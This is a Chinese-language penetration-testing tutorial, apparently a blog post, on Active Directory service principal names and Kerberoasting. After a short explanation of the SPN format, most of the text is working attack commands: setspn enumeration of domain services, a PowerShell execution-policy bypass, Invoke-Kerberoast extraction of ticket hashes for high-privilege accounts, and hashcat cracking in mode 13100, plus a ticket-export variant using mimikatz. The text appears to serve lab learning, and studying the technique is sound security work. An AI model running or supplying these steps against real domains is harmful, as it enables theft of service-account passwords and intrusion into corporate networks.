1. 前言
SPN是域内一个服务的唯一标示名称。SPN类型分为两种:
- 一种注册在AD上机器帐户(Computers)下,当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
- 另一种注册在域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下如果用一句话来说明的话就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。
SPN格式为serviceclass/host:port/servicename
- serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
- host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
- 如果服务运行在默认端口上,则端口号(port)可以省略
2. 利用思路
- 可以用来探测域内有哪些服务,分别开在了哪些服务器上,以哪些账号或者说权限去开通的。
- kerberosting攻击,获取对应服务的TGS-REP响应数据,并进行破解。
3. 实际利用
3.1 探测内网服务
setspn -T test.com -F -Q */*
这个操作是可以在域内任意主机上执行的,不需要多高的权限。因为我的虚拟机上没有开多少服务,这边给大家另外一张图片作为参考:
开启了一个http服务,这个服务器的主机是csk-github。
3.2 kerberosting
我们使用一种不基于mimikatz的kerberosting攻击,且这种方式不需要高权限,这是看三好学生的博客学到的,地址是域渗透——Kerberoasting。
首先将Invoke-Kerberoast.ps1下载到目标主机并且import到powershell里面,然后再用hashcat工具对hash进行破解。
具体操作如下:
Set-ExecutionPolicy Bypass -Scope Process #规避执行策略
. .\Invoke-Kerberoast.ps1 # 加载模块
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl #取出账号有关的所有参数,-AdminCount表示选择高权限的用户
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation # 只取出hash参数
hashcat -m 13100 hash_path password_hash -o found.txt --force #破解hash并将结果输出到found.txt中
1.使用票据来破解密码:
先使用脚本获取到一张tgs,然后用mimikatz导出票据,最后使用tgsrepcrack.py脚本爆破。如下图,密码为123.
2.使用hash来破解密码:
powershell -exec bypass "Import-Module C:\Users\zhangsan.TEST\Desktop\tools\invoke-kerberoast.ps1;Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
hashcat -O -m 13100 hash.txt 1.txt -o 123.txt --force --self-test-disable
将上面的hash复制到文件中,用hashcat破解:
hashcat -O -m 13100 hash.txt 1.txt -o 123.txt --force --self-test-disable
如上图最后一行,密码为123,也可以在123.txt中的最后一行看: